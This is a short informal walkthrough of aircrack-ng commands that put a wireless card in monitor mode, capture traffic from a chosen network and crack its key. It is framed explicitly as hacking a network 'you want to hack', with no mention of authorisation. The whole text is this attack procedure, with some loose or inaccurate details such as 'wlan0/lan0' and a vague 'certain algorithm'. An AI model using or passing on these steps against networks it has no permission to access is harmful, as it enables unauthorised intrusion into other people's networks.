airmon-ng     (monitors the wireless cards or network cards)

airmon-ng start wlan0/lan0   (use either wlan0 or lan0 which is shown after monitoring)

airodump-ng mon0              (dumps the wireless cards to mon0)



....
....
....
....(HERE YOU WILL SEE THE LOTS OF NETWORKS FLUCTUATING)
...
...
...
.....
.....



airodump-ng -c(channel no.) --bssid (Bssid) -w (file name) mon0         (here you must enter channel no. , bssid, of the network you want to hack broadcasted above)(you can use any file name but keep in mind you need that later to crack)

{now data starts being captured by your wireless network. after data reaches minimum 15000 ,type following code in new konsole}


aircrack-ng (filename-01.cap}



using certain algorithm you will get the key...